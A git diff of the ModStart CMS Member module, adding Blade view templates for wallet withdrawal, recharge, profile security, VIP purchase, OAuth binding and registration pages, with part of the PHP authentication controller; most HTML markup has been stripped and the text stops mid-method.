+ ¥{{sprintf('%0.2f',$total)}} +
+
+ @if($total +
 
+
+
+ 暂时不能申请,单次提现最小金额为 ¥{{sprintf('%0.2f',modstart_config('Member_MoneyCashMin',100))}} +
+
+
+ @else +
+
提现金额
+
+ +
+ 单次提现最小金额为 ¥{{sprintf('%0.2f',modstart_config('Member_MoneyCashMin',100))}} +
+
+
+ @if(modstart_config('Member_MoneyCashTaxRate',0)>0) +
+
手续费
+
+ {{sprintf('%0.2f',modstart_config('Member_MoneyCashTaxRate',0))}}% + (实际到账:¥
-
) +
+
+ @endif +
+
支付类型
+
+ +
+
+
+
提现账号姓名
+
+ +
+
+
+
提现账号
+
+ +
+
+
+
 
+
+ +
+
+ @endif +
+ +
+
+@endsection diff --git a/module/Member/View/pc/memberMoneyCash/log.blade.php b/module/Member/View/pc/memberMoneyCash/log.blade.php new file mode 100644 index 00000000..6b567fbd --- /dev/null +++ b/module/Member/View/pc/memberMoneyCash/log.blade.php @@ -0,0 +1,24 @@ +@extends($_viewMemberFrame) + +@section('pageTitleMain')提现记录@endsection +@section('pageKeywords')提现记录@endsection +@section('pageDescription')提现记录@endsection + +@section('memberBodyContent') + + + +
+
+
提现申请
+
+
+ {!! $content !!} +
+
+@endsection diff --git a/module/Member/View/pc/memberMoneyCash/logItem.blade.php b/module/Member/View/pc/memberMoneyCash/logItem.blade.php new file mode 100644 index 00000000..9dfd843c --- /dev/null +++ b/module/Member/View/pc/memberMoneyCash/logItem.blade.php @@ -0,0 +1,27 @@ +
+
+
+ {{\ModStart\Core\Type\TypeUtil::name(\Module\Member\Type\MemberMoneyCashType::class,$item->type)}} + @if($item->status==\Module\Member\Type\MemberMoneyCashStatus::SUCCESS) + {{\ModStart\Core\Type\TypeUtil::name(\Module\Member\Type\MemberMoneyCashStatus::class,\Module\Member\Type\MemberMoneyCashStatus::SUCCESS)}} + @endif + @if($item->status==\Module\Member\Type\MemberMoneyCashStatus::VERIFYING) + {{\ModStart\Core\Type\TypeUtil::name(\Module\Member\Type\MemberMoneyCashStatus::class,\Module\Member\Type\MemberMoneyCashStatus::VERIFYING)}} + @endif +
+
+ 姓名:{{$item->realname}} +
+
+ 账号:{{$item->account}} +
+{{--
--}} +{{-- 备注:{{$item->remark}}--}} +{{--
--}} +
+
+ 提现 + ¥{{$item->moneyAfterTax}} +
+
+ diff --git a/module/Member/View/pc/memberMoneyCharge/index.blade.php b/module/Member/View/pc/memberMoneyCharge/index.blade.php new file mode 100644 index 00000000..ebc59845 --- /dev/null +++ b/module/Member/View/pc/memberMoneyCharge/index.blade.php @@ -0,0 +1,95 @@ +@extends($_viewMemberFrame) + +@section('pageTitleMain')钱包充值@endsection +@section('pageKeywords')钱包充值@endsection +@section('pageDescription')钱包充值@endsection + +@section('memberBodyContent') + + +
+
+
钱包充值
+
+
+ @if(!modstart_module_enabled('PayCenter')) +
+ + 请先安装 PayCenter 模块 +
+ @elseif(\Module\PayCenter\Util\PayUtil::preferShowQuick()) +
+
+
充值金额
+
+ +
+
+
+
扫码支付
+
+ @include('module::PayCenter.View.inc.quick') + +
+
+
+ @else +
+
+
+
充值金额
+
+ +
+
+
+
 
+
+ + +
+
+
+
+ @endif +
+
+ + @if(modstart_config('Member_MoneyChargeDesc')) +
+
+
充值说明
+
+
+
+ {!! modstart_config('Member_MoneyChargeDesc') !!} +
+
+
+ @endif + +@endsection diff --git a/module/Member/View/pc/memberProfile/avatar.blade.php b/module/Member/View/pc/memberProfile/avatar.blade.php new file mode 100644 index 00000000..af36842d --- /dev/null +++ b/module/Member/View/pc/memberProfile/avatar.blade.php @@ -0,0 +1,119 @@ +@extends($_viewMemberFrame) + +@section('pageTitleMain')修改头像@endsection +@section('pageKeywords')修改头像@endsection +@section('pageDescription')修改头像@endsection + +{!! \ModStart\ModStart::style('.pb-page-hidden{overflow:hidden;height:0;width:0;margin-bottom:0!important;}.cropper-bg,.cropper-crop{border-radius:0.5rem;}') !!} + +@section('bodyAppend') + @parent + {{\ModStart\ModStart::js('asset/vendor/cropper/cropper.js')}} + {{\ModStart\ModStart::css('asset/vendor/cropper/cropper.css')}} + +@endsection + +@section('memberBodyContent') + + @include('module::Member.View.pc.memberProfile.profileNav') + +
+
+
+ + @if(!empty($_memberUser['avatarBig'])) + + @endif + +
+
+
+ +
+
+ +
+ +
+@endsection diff --git a/module/Member/View/pc/memberProfile/delete.blade.php b/module/Member/View/pc/memberProfile/delete.blade.php new file mode 100644 index 00000000..e20e07e7 --- /dev/null +++ b/module/Member/View/pc/memberProfile/delete.blade.php @@ -0,0 +1,70 @@ +@extends($_viewMemberFrame) + +@section('pageTitleMain')注销账号@endsection +@section('pageKeywords')注销账号@endsection +@section('pageDescription')注销账号@endsection + +@section('memberBodyContent') + + @include('module::Member.View.pc.memberProfile.securityNav') + +
+
+
+
用户ID:
+
+ {{ $_memberUser['id'] }} +
+
+
+
注册时间:
+
+ {{ $_memberUser['created_at'] }} +
+
+ @if(!empty($_memberUser['username'])) +
+
用户名:
+
+ {{ $_memberUser['username'] }} +
+
+ @endif + @if($_memberUser['deleteAtTime']>0) +
+
+
+
+ 您的账号将于 {{date('Y-m-d H:i:s',$_memberUser['deleteAtTime'])}} 删除,期间您还可以继续使用 +
+
+
+ + @else +
+
二次确认:
+
+
+ 注销账号申请后30天内账号将会删除,删除后账号所有相关数据也会被删除 +
+ +
+
+
+
 
+
+ +
+
+ @endif +
+
+@endsection diff --git a/module/Member/View/pc/memberProfile/email.blade.php b/module/Member/View/pc/memberProfile/email.blade.php new file mode 100644 index 00000000..038841c5 --- /dev/null +++ b/module/Member/View/pc/memberProfile/email.blade.php @@ -0,0 +1,141 @@ +@extends($_viewMemberFrame) + +@section('pageTitleMain')邮箱绑定@endsection +@section('pageKeywords')邮箱绑定@endsection +@section('pageDescription')邮箱绑定@endsection + +@section('bodyAppend') + @parent + {{\ModStart\ModStart::js('asset/common/commonVerify.js')}} + +@endsection + +@section('memberBodyContent') + + @include('module::Member.View.pc.memberProfile.securityNav') + +
+
+ + @if(! \Module\Vendor\Provider\MailSender\MailSenderProvider::hasProvider()) +
+
+ + 系统没有开启邮箱发送服务,验证码可能无法发送。 +
+
+ @endif + @if($_memberUser['email'] && $_memberUser['emailVerified']) +
+
邮箱:
+
+ {{$_memberUser['email']}} 已验证 +
+
+
+
 
+
+ 修改 +
+
+
+
+
新邮箱:
+
+ +
+
+
+
图形验证:
+
+
+
+ 刷新验证码 +
+
+ +
+
+ + + +
+
+
+
+
+
+
+
邮箱验证:
+
+ +
+
+
+
 
+
+ +
+
+
+ @else + @if($_memberUser['email']) +
+
+ 邮箱还没有进行验证 +
+
+ @endif +
+
邮箱:
+
+ +
+
+
+
图形验证:
+
+
+
+ 刷新验证码 +
+
+ +
+
+ + + +
+
+
+
+
+
邮箱验证:
+
+ +
+
+
+
 
+
+ +
+
+ @endif +
+
+@endsection diff --git a/module/Member/View/pc/memberProfile/nickname.blade.php b/module/Member/View/pc/memberProfile/nickname.blade.php new file mode 100644 index 00000000..a79d2053 --- /dev/null +++ b/module/Member/View/pc/memberProfile/nickname.blade.php @@ -0,0 +1,52 @@ +@extends($_viewMemberFrame) + +@section('pageTitleMain')修改昵称@endsection +@section('pageKeywords')修改昵称@endsection +@section('pageDescription')修改昵称@endsection + +@section('memberBodyContent') + +
+
+
修改昵称
+
+
+
+ +
+
原昵称
+
+ {{ $_memberUser['nickname']?$_memberUser['nickname']:'[未设置]' }} +
+
+
+
新昵称:
+
+ +
+
+
+
图形验证:
+
+
+
+ 刷新验证码 +
+
+ +
+
+
+
+
+
+
+
 
+
+ +
+
+
+
+
+@endsection diff --git a/module/Member/View/pc/memberProfile/oauth.blade.php b/module/Member/View/pc/memberProfile/oauth.blade.php new file mode 100644 index 00000000..0ae6fe49 --- /dev/null +++ b/module/Member/View/pc/memberProfile/oauth.blade.php @@ -0,0 +1,44 @@ +@extends($_viewMemberFrame) + +@section('pageTitleMain')绑定的账号@endsection +@section('pageKeywords')绑定的账号@endsection +@section('pageDescription')绑定的账号@endsection + +@section('memberBodyContent') + + @include('module::Member.View.pc.memberProfile.securityNav') + +
+ @if(empty($oauthRecord)) +
+ 当前账号暂未绑定 {{$oauth->title()}} + @if($oauth->bindRender()) + {!! $oauth->bindRender() !!} + @else + 立即绑定 + @endif +
+ @else +
+ 当前账号已绑定 {{$oauth->title()}} +
+
+
+
+
+
+
+
{{$oauthRecord['infoUsername']}}
+
{{$oauthRecord['created_at']}}
+
+
+ 解绑 +
+
+
+ @endif +
+@endsection diff --git a/module/Member/View/pc/memberProfile/password.blade.php b/module/Member/View/pc/memberProfile/password.blade.php new file mode 100644 index 00000000..2e133f16 --- /dev/null +++ b/module/Member/View/pc/memberProfile/password.blade.php @@ -0,0 +1,45 @@ +@extends($_viewMemberFrame) + +@section('pageTitleMain')密码设定@endsection +@section('pageKeywords')密码设定@endsection +@section('pageDescription')密码设定@endsection + +@section('memberBodyContent') + + @include('module::Member.View.pc.memberProfile.securityNav') + +
+
+ @if(empty($_memberUser['password'])) +
+
您还没有设定密码,请设定新密码
+
+ @else +
+
旧密码:
+
+ +
+
+ @endif +
+
新密码:
+
+ +
+
+
+
重复新密码:
+
+ +
+
+
+
 
+
+ +
+
+
+
+@endsection diff --git a/module/Member/View/pc/memberProfile/phone.blade.php b/module/Member/View/pc/memberProfile/phone.blade.php new file mode 100644 index 00000000..5e1a44c4 --- /dev/null +++ b/module/Member/View/pc/memberProfile/phone.blade.php @@ -0,0 +1,141 @@ +@extends($_viewMemberFrame) + +@section('pageTitleMain')手机绑定@endsection +@section('pageKeywords')手机绑定@endsection +@section('pageDescription')手机绑定@endsection + +@section('bodyAppend') + @parent + {{\ModStart\ModStart::js('asset/common/commonVerify.js')}} + +@endsection + +@section('memberBodyContent') + + @include('module::Member.View.pc.memberProfile.securityNav') + +
+
+ + @if(!\Module\Vendor\Provider\SmsSender\SmsSenderProvider::hasProvider()) +
+
+ + 系统没有开启短信发送服务,验证码可能无法发送。 +
+
+ @endif + @if($_memberUser['phone'] && $_memberUser['phoneVerified']) +
+
手机:
+
+ {{$_memberUser['phone']}} 已验证 +
+
+
+
 
+
+ 修改 +
+
+
+
+
新手机:
+
+ +
+
+
+
图形验证:
+
+
+
+ 刷新验证码 +
+
+ +
+
+ + + +
+
+
+
+
+
+
+
手机验证:
+
+ +
+
+
+
 
+
+ +
+
+
+ @else + @if($_memberUser['phone']) +
+
+ 手机还没有进行验证 +
+
+ @endif +
+
手机:
+
+ +
+
+
+
图形验证:
+
+
+
+ 刷新验证码 +
+
+ +
+
+ + + +
+
+
+
+
+
手机验证:
+
+ +
+
+
+
 
+
+ +
+
+ @endif +
+
+@endsection diff --git a/module/Member/View/pc/memberProfile/profileNav.blade.php b/module/Member/View/pc/memberProfile/profileNav.blade.php new file mode 100644 index 00000000..1ee4d6fd --- /dev/null +++ b/module/Member/View/pc/memberProfile/profileNav.blade.php @@ -0,0 +1,4 @@ + diff --git a/module/Member/View/pc/memberProfile/securityNav.blade.php b/module/Member/View/pc/memberProfile/securityNav.blade.php new file mode 100644 index 00000000..00f6b751 --- /dev/null +++ b/module/Member/View/pc/memberProfile/securityNav.blade.php @@ -0,0 +1,19 @@ +
+ 密码设定 + @if(modstart_config('Member_ProfileEmailEnable',false)) + 邮箱绑定 + @endif + @if(modstart_config('Member_ProfilePhoneEnable',false)) + 手机绑定 + @endif + @if(modstart_module_enabled('MemberOauth')) + @foreach(\Module\Member\Config\MemberOauth::get() as $oauth) + @if($oauth->isSupport()) + {{$oauth->title()}} + @endif + @endforeach + @endif + @if(modstart_config('Member_DeleteEnable',false)) + 注销账号 + @endif +
diff --git a/module/Member/View/pc/memberVip/index.blade.php b/module/Member/View/pc/memberVip/index.blade.php new file mode 100644 index 00000000..106643f6 --- /dev/null +++ b/module/Member/View/pc/memberVip/index.blade.php @@ -0,0 +1,199 @@ +@extends($_viewFrame) + +@section('pageTitleMain')开通VIP会员@endsection +@section('pageKeywords')开通VIP会员@endsection +@section('pageDescription')开通VIP会员@endsection + +{!! \ModStart\ModStart::css('vendor/Member/style/member.css') !!} +{!! \ModStart\ModStart::css('asset/vendor/swiper/swiper.css') !!} +{!! \ModStart\ModStart::js('asset/vendor/swiper/swiper.js') !!} + +@section('headAppend') + @parent + +@endsection + +@section('bodyAppend') + @parent + + +@endsection + +@section('bodyContent') + +
+ +
+
+
+
+
+
+
+
+
+ {{$_memberUser?\Module\Member\Util\MemberUtil::viewName($_memberUser):'未登录'}} +
+
+ @if(empty($_memberUser)) + + 注册/登录 + + @else + + 用户中心 + + @if(!empty(\Module\Member\Auth\MemberVip::get())) +
+ 您当前是 + + {{\Module\Member\Auth\MemberVip::get('title')}} + + @if(!\Module\Member\Auth\MemberVip::isDefault()) + , + 过期时间为:{{\Module\Member\Auth\MemberUser::get('vipExpire')}} + @endif +
+ @endif + @endif +
+
+
+
+
+
+
+
+ + + +
+
+
+ @foreach($memberVips as $memberVip) + @if(!$memberVip['isDefault']) +
+
+ {{$memberVip['title']}} +
+
+
+ ¥{{$memberVip['price']}} + +
+
+ ¥{{$memberVip['priceMarket']}} +
+
+
+ {{$memberVip['desc']?$memberVip['desc']:'[会员简要说明]'}} +
+ @if($memberVip['priceMarket']>$memberVip['price']) +
+ 限时立减 {{bcsub($memberVip['priceMarket'],$memberVip['price'],2)}} +
+ @endif +
+ @if(\Module\Member\Auth\MemberUser::isLogin()) + + + 立即开通 + + @else + + + 登录后开通 + + @endif +
+
+ @endif + @endforeach +
+ + + + + + +
+
+
+
+ @if(!empty($memberVipRights)) +
+
+ @foreach($memberVipRights as $r) + + @endforeach +
+
+ @endif +
+
+
+
+
+ @foreach(modstart_config('Member_VipOpenUsers',[]) as $u) +
+
+
{{mb_substr($u['name'],0,2)}}******
+
{{$u['time']}}
+
购买了 {{$u['title']}}
+
+
+ @endforeach +
+
+
+
+
+
+ @foreach($memberVips as $memberVip) + @if(!$memberVip['isDefault']) +
+
{{$memberVip['title']}}
+
+
+ {!! $memberVip['content'] !!} +
+
+
+ @endif + @endforeach +
+
+
+
+
+ +
+ +
+ + @include('module::Member.View.pc.memberVip.openDialog') + +@endsection diff --git a/module/Member/View/pc/memberVip/indexDialog.blade.php b/module/Member/View/pc/memberVip/indexDialog.blade.php new file mode 100644 index 00000000..4f5ea864 --- /dev/null +++ b/module/Member/View/pc/memberVip/indexDialog.blade.php @@ -0,0 +1,212 @@ +@extends($_viewFrameDialog) + +@section('pageTitleMain')开通VIP会员@endsection +@section('pageKeywords')开通VIP会员@endsection +@section('pageDescription')开通VIP会员@endsection + +{!! \ModStart\ModStart::css('vendor/Member/style/member.css') !!} +{!! \ModStart\ModStart::css('asset/vendor/swiper/swiper.css') !!} +{!! \ModStart\ModStart::js('asset/vendor/swiper/swiper.js') !!} + +@section('headAppend') + @parent + +@endsection + +@section('bodyAppend') + @parent + + +@endsection + +@section('body') + +
+
+
+
+
+
+
+
+
+ {{$_memberUser?\Module\Member\Util\MemberUtil::viewName($_memberUser):'未登录'}} +
+
+ @if(empty($_memberUser)) + + 注册/登录 + + @else + @if(!empty(\Module\Member\Auth\MemberVip::get())) +
+ 您当前是 + + {{\Module\Member\Auth\MemberVip::get('title')}} + + @if(!\Module\Member\Auth\MemberVip::isDefault()) + , + 过期时间为:{{\Module\Member\Auth\MemberUser::get('vipExpire')}} + @endif +
+ @endif + @endif +
+
+
+ @if(\Module\Member\Auth\MemberUser::isLogin()) + + 用户中心 + + @endif +
+
+
+
+
+
+
+ + + +
+
+
+ @foreach($memberVips as $memberVip) + @if(!$memberVip['isDefault']) +
+
+ {{$memberVip['title']}} +
+
+
+ ¥{{$memberVip['price']}} + +
+
+ ¥{{$memberVip['priceMarket']}} +
+
+
+ {{$memberVip['desc']?$memberVip['desc']:'[会员简要说明]'}} +
+ @if($memberVip['priceMarket']>$memberVip['price']) +
+ 限时立减 {{bcsub($memberVip['priceMarket'],$memberVip['price'],2)}} +
+ @endif +
+ @if(\Module\Member\Auth\MemberUser::isLogin()) + + + 立即开通 + + @else + + + 登录后开通 + + @endif +
+
+ @endif + @endforeach +
+ + + + + + +
+
+
+
+ @if(!empty($memberVipRights)) +
+
+ @foreach($memberVipRights as $r) + + @endforeach +
+
+ @endif +
+
+
+
+
+ @foreach(modstart_config('Member_VipOpenUsers',[]) as $u) +
+
+
{{mb_substr($u['name'],0,2)}} + ****** +
+
{{$u['time']}}
+
购买了 {{$u['title']}}
+
+
+ @endforeach +
+
+
+
+
+
+ @foreach($memberVips as $memberVip) + @if(!$memberVip['isDefault']) +
+
{{$memberVip['title']}}
+
+
+ {!! $memberVip['content'] !!} +
+
+
+ @endif + @endforeach +
+
+
+
+
+ + @include('module::Member.View.pc.memberVip.openDialog') + +@endsection diff --git a/module/Member/View/pc/memberVip/openDialog.blade.php b/module/Member/View/pc/memberVip/openDialog.blade.php new file mode 100644 index 00000000..221142ca --- /dev/null +++ b/module/Member/View/pc/memberVip/openDialog.blade.php @@ -0,0 +1,101 @@ + +
+
+ + + +
+
+
+
+ 开通VIP +
+
+
+ 限时优惠剩余时间: +
+
+
+
+ @include('module::PayCenter.View.inc.quick') +
+ @if(modstart_module_enabled('Voucher')) +
+ {!! \Module\Voucher\Render\VoucherRender::select() !!} +
+ @endif +
+ - + 需要支付 + - + 购买后 - 过期 +
+
+ 开通即表示同意 + @if(modstart_config('Member_AgreementEnable',false)) + 《{{modstart_config('Member_AgreementTitle','用户使用协议')}}》 + @endif + @if(modstart_config('Member_PrivacyEnable',false)) + 《{{modstart_config('Member_PrivacyTitle','用户隐私协议')}}》 + @endif + 《{{modstart_config('Member_VipTitle','会员协议')}}》 +
+
+
+
+
diff --git a/module/Member/View/pc/oauthBackAndClose.blade.php b/module/Member/View/pc/oauthBackAndClose.blade.php new file mode 100644 index 00000000..0d37eb5e --- /dev/null +++ b/module/Member/View/pc/oauthBackAndClose.blade.php @@ -0,0 +1,21 @@ + + + + + 操作成功 + + + + + +
+ 操作成功 +
+ + + + diff --git a/module/Member/View/pc/oauthBind.blade.php b/module/Member/View/pc/oauthBind.blade.php new file mode 100644 index 00000000..5b311fd2 --- /dev/null +++ b/module/Member/View/pc/oauthBind.blade.php @@ -0,0 +1,149 @@ +@extends($_viewFrame) + +@section('pageTitleMain')用户授权绑定@endsection +@section('pageKeywords')用户授权绑定@endsection +@section('pageDescription')用户授权绑定@endsection + + +@section('bodyAppend') + @parent + {{\ModStart\ModStart::js('asset/common/commonVerify.js')}} + +@endsection + +@section('bodyContent') + + + +@endsection diff --git a/module/Member/View/pc/oauthButtons.blade.php b/module/Member/View/pc/oauthButtons.blade.php new file mode 100644 index 00000000..53937706 --- /dev/null +++ b/module/Member/View/pc/oauthButtons.blade.php @@ -0,0 +1,16 @@ +@if(\Module\Member\Config\MemberOauth::hasItems()) +
+
+
+ OR +
+
+
+ @foreach(\Module\Member\Config\MemberOauth::get() as $oauth) + @if($oauth->isSupport()) + {!! $oauth->render() !!} + @endif + @endforeach +
+
+@endif diff --git a/module/Member/View/pc/oauthProxy.blade.php b/module/Member/View/pc/oauthProxy.blade.php new file mode 100644 index 00000000..6833207c --- /dev/null +++ b/module/Member/View/pc/oauthProxy.blade.php @@ -0,0 +1,139 @@ + + + + + 授权登录中... + + + + + +
+ 授权登录中... +
+ + + + diff --git a/module/Member/View/pc/register.blade.php b/module/Member/View/pc/register.blade.php new file mode 100644 index 00000000..48c82996 --- /dev/null +++ b/module/Member/View/pc/register.blade.php @@ -0,0 +1,153 @@ +@extends($_viewFrame) + +@section('pageTitleMain')注册@endsection +@section('pageKeywords')注册@endsection +@section('pageDescription')注册@endsection + +@section('headAppend') + @parent + + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberRegisterPageHeadAppend'); !!} +@endsection + +@section('bodyAppend') + @parent + {{\ModStart\ModStart::js('asset/common/commonVerify.js')}} + {{\ModStart\ModStart::js('vendor/Member/entry/register.js')}} + + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberRegisterPageBodyAppend'); !!} +@endsection + +@section('bodyContent') + + + +@endsection diff --git a/module/Member/View/pc/registerDialog.blade.php b/module/Member/View/pc/registerDialog.blade.php new file mode 100644 index 00000000..a12ff6c8 --- /dev/null +++ b/module/Member/View/pc/registerDialog.blade.php @@ -0,0 +1,157 @@ +@extends($_viewFrame) + +@section('pageTitleMain')注册@endsection +@section('pageKeywords')注册@endsection +@section('pageDescription')注册@endsection + +@section('headAppend') + @parent + + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberRegisterPageHeadAppend'); !!} +@endsection + +@section('bodyAppend') + {{\ModStart\ModStart::js('asset/common/commonVerify.js')}} + {{\ModStart\ModStart::js('vendor/Member/entry/register.js')}} + + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberRegisterPageBodyAppend'); !!} +@endsection + +{!! \ModStart\ModStart::style('html,body{background:var(--color-content-bg);}') !!} +@section('body') + + + +@endsection diff --git a/module/Member/View/pc/registerPhone.blade.php b/module/Member/View/pc/registerPhone.blade.php new file mode 100644 index 00000000..292a6386 --- /dev/null +++ b/module/Member/View/pc/registerPhone.blade.php @@ -0,0 +1,21 @@ +@extends($_viewFrame) + +@section('pageTitleMain')注册@endsection +@section('pageKeywords')注册@endsection +@section('pageDescription')注册@endsection + +@section('headAppend') + @parent + + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberRegisterPageHeadAppend'); !!} +@endsection + +@section('bodyAppend') + @parent + @include('module::Member.View.pc.inc.registerPhoneScript') + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberRegisterPageBodyAppend'); !!} +@endsection + +@section('bodyContent') + @include('module::Member.View.pc.inc.registerPhonePanel') +@endsection diff --git a/module/Member/View/pc/registerPhoneDialog.blade.php b/module/Member/View/pc/registerPhoneDialog.blade.php new file mode 100644 index 00000000..7fff367f --- /dev/null +++ b/module/Member/View/pc/registerPhoneDialog.blade.php @@ -0,0 +1,21 @@ +@extends($_viewFrame) + +@section('pageTitleMain')注册@endsection +@section('pageKeywords')注册@endsection +@section('pageDescription')注册@endsection + +@section('headAppend') + @parent + + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberRegisterPageHeadAppend'); !!} +@endsection + +@section('bodyAppend') + @include('module::Member.View.pc.inc.registerPhoneScript') + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberRegisterPageBodyAppend'); !!} +@endsection + +{!! \ModStart\ModStart::style('html,body{background:var(--color-content-bg);}') !!} +@section('body') + @include('module::Member.View.pc.inc.registerPhonePanel') +@endsection diff --git a/module/Member/View/pc/retrieve.blade.php b/module/Member/View/pc/retrieve.blade.php new file mode 100644 index 00000000..efd6747d --- /dev/null +++ b/module/Member/View/pc/retrieve.blade.php @@ -0,0 +1,68 @@ +@extends($_viewFrame) + +@section('pageTitleMain')找回密码@endsection +@section('pageKeywords')找回密码@endsection +@section('pageDescription')找回密码@endsection + +@section('headAppend') + @parent + +@endsection + +@section('bodyContent') + + + +@endsection diff --git a/module/Member/View/pc/retrieveEmail.blade.php b/module/Member/View/pc/retrieveEmail.blade.php new file mode 100644 index 00000000..9ae4ffc4 --- /dev/null +++ b/module/Member/View/pc/retrieveEmail.blade.php @@ -0,0 +1,92 @@ +@extends($_viewFrame) + +@section('pageTitleMain')验证邮箱找回密码@endsection +@section('pageKeywords')验证邮箱找回密码@endsection +@section('pageDescription')验证邮箱找回密码@endsection + +@section('headAppend') + @parent + +@endsection + +@section('bodyAppend') + @parent + {{\ModStart\ModStart::js('asset/common/commonVerify.js')}} + +@endsection + +@section('bodyContent') + + + +@endsection diff --git a/module/Member/View/pc/retrievePhone.blade.php b/module/Member/View/pc/retrievePhone.blade.php new file mode 100644 index 00000000..4ef20260 --- /dev/null +++ b/module/Member/View/pc/retrievePhone.blade.php @@ -0,0 +1,91 @@ +@extends($_viewFrame) + +@section('pageTitleMain')验证手机找回密码@endsection +@section('pageKeywords')验证手机找回密码@endsection +@section('pageDescription')验证手机找回密码@endsection + +@section('headAppend') + @parent + +@endsection + +@section('bodyAppend') + @parent + {{\ModStart\ModStart::js('asset/common/commonVerify.js')}} + +@endsection + +@section('bodyContent') + + + +@endsection diff --git a/module/Member/View/pc/retrieveReset.blade.php b/module/Member/View/pc/retrieveReset.blade.php new file mode 100644 index 00000000..0a2ad999 --- /dev/null +++ b/module/Member/View/pc/retrieveReset.blade.php @@ -0,0 +1,65 @@ +@extends($_viewFrame) + +@section('pageTitleMain')设置新密码@endsection +@section('pageKeywords')设置新密码@endsection +@section('pageDescription')设置新密码@endsection + +@section('bodyContent') + + + +@endsection diff --git a/module/Member/Web/Controller/AuthController.php b/module/Member/Web/Controller/AuthController.php new file mode 100644 index 00000000..8889b773 --- /dev/null +++ b/module/Member/Web/Controller/AuthController.php @@ -0,0 +1,564 @@ +api = app(\Module\Member\Api\Controller\AuthController::class); + } + + private function getRedirectData(InputPackage $input) + { + $dialog = $input->getInteger('dialog'); + $redirect = $input->getTrimString('redirect', modstart_web_url('member')); + $redirectData = [ + 'redirect' => $redirect, + ]; + if ($dialog) { + $redirectData['dialog'] = $dialog; + } + return $redirectData; + } + + public function login() + { + $input = InputPackage::buildFromInput(); + $redirectData = $this->getRedirectData($input); + $this->api->checkRedirectSafety($redirectData['redirect']); + $result = MemberAuthProvider::call('onWebLogin', $redirectData); + if (null !== $result) { + return $result; + } + if (Request::isPost()) { + $ret = $this->api->login(); + if (Response::isError($ret)) { + return Response::sendFromGenerate($ret); + } + if (!empty($redirectData['dialog'])) { + return Response::send(0, '', '', + '[js]parent.location.href=' . SerializeUtil::jsonEncode($redirectData['redirect']) . ';'); + } + return Response::send(0, '', '', $redirectData['redirect']); + } + $loginDefault = modstart_config('Member_LoginDefault', 'default'); + $force = $input->getBoolean('force', false); + $forceRedirects = [ + 'sso' => modstart_web_url('login/sso', $redirectData), + 'phone' => modstart_web_url('login/phone', $redirectData), + 'wechat' => modstart_web_url('login/wechat', $redirectData), + 'other' => modstart_web_url('login/other', $redirectData), + ]; + if (!$force && !empty($forceRedirects[$loginDefault])) { + return Response::redirect($forceRedirects[$loginDefault]); + } + $view = 'login'; + if (!empty($redirectData['dialog'])) { + $view = 'loginDialog'; + } + return $this->view($view, $redirectData); + } + + public function loginSso() + { + if (!modstart_config('ssoClientEnable', false)) { + return Response::generateError('SSO登录未开启'); + } + $input = InputPackage::buildFromInput(); + $redirectData = $this->getRedirectData($input); + $this->api->checkRedirectSafety($redirectData['redirect']); + Input::merge(['client' => Request::domainUrl() . '/sso/client']); + $ret = $this->api->ssoClientPrepare(); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + Session::put('ssoClientRedirect', $redirectData['redirect']); + if (!empty($redirectData['dialog'])) { + return Response::send(0, '', '', '[js]parent.location.href=' . SerializeUtil::jsonEncode($ret['data']['redirect']) . ';'); + } + return Response::send(0, null, null, $ret['data']['redirect']); + } + + public function loginWechat() + { + $input = InputPackage::buildFromInput(); + $redirectData = $this->getRedirectData($input); + $this->api->checkRedirectSafety($redirectData['redirect']); + $oauthType = 'wechat'; + if (AgentUtil::isMobile()) { + $oauthType = 'wechatmobile'; + } + return Response::redirect(modstart_web_url('oauth_login_' . $oauthType, $redirectData)); + } + + public function loginOther() + { + $input = InputPackage::buildFromInput(); + $redirectData = $this->getRedirectData($input); + $this->api->checkRedirectSafety($redirectData['redirect']); + $view = 'loginOther'; + if (!empty($redirectData['dialog'])) { + $view = 'loginOtherDialog'; + } + return $this->view($view, $redirectData); + } + + public function loginCaptcha() + { + return $this->api->loginCaptchaRaw(); + } + + public function loginPhone() + { + BizException::throwsIf('短信验证登录未开启', !modstart_config('Member_LoginPhoneEnable', false)); + $input = InputPackage::buildFromInput(); + $redirectData = $this->getRedirectData($input); + $this->api->checkRedirectSafety($redirectData['redirect']); + if (Request::isPost()) { + $ret = $this->api->loginPhone(); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + if (!empty($redirectData['dialog'])) { + return Response::send(0, '', '', '[js]parent.location.href=' . SerializeUtil::jsonEncode($redirectData['redirect']) . ';'); + } + return Response::send(0, null, null, $redirectData['redirect']); + } + $view = 'loginPhone'; + if (!empty($redirectData['dialog'])) { + $view = 'loginPhoneDialog'; + } + return $this->view($view, $redirectData); + } + + public function loginPhoneCaptcha() + { + return $this->api->loginPhoneCaptchaRaw(); + } + + public function loginPhoneVerify() + { + return Response::sendFromGenerate($this->api->loginPhoneVerify()); + } + + public function logout() + { + $input = InputPackage::buildFromInput(); + $redirectData = $this->getRedirectData($input); + $this->api->checkRedirectSafety($redirectData['redirect']); + $result = MemberAuthProvider::call('onWebLogout', $redirectData); + if (null !== $result) { + return $result; + } + if (modstart_config('ssoClientEnable', false) && modstart_config('ssoClientLogoutSyncEnable', false)) { + Input::merge(['domainUrl' => Request::domainUrl()]); + $ret = $this->api->ssoClientLogoutPrepare(); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + Session::put('ssoLogoutRedirect', $redirectData['redirect']); + return Response::send(0, null, null, $ret['data']['redirect']); + } + $ret = $this->api->logout(); + if ($ret['code']) { + return Response::send(-1, $ret['msg']); + } + $input = InputPackage::buildFromInput(); + Session::forget('memberUserId'); + $redirect = $input->getTrimString('redirect', modstart_web_url('')); + return Response::redirect($redirect); + } + + public function register() + { + BizException::throwsIf('禁止注册', modstart_config('registerDisable', false)); + $input = InputPackage::buildFromInput(); + $redirectData = $this->getRedirectData($input); + if (Request::isPost()) { + $ret = $this->api->register(); + if ($ret['code']) { + if ($input->getTrimString('captcha')) { + return Response::send(-1, $ret['msg'], null, '[js]$("[data-captcha]").click()'); + } + return Response::send(-1, $ret['msg']); + } + $url = modstart_web_url('login', $redirectData); + return Response::send(0, '', '', 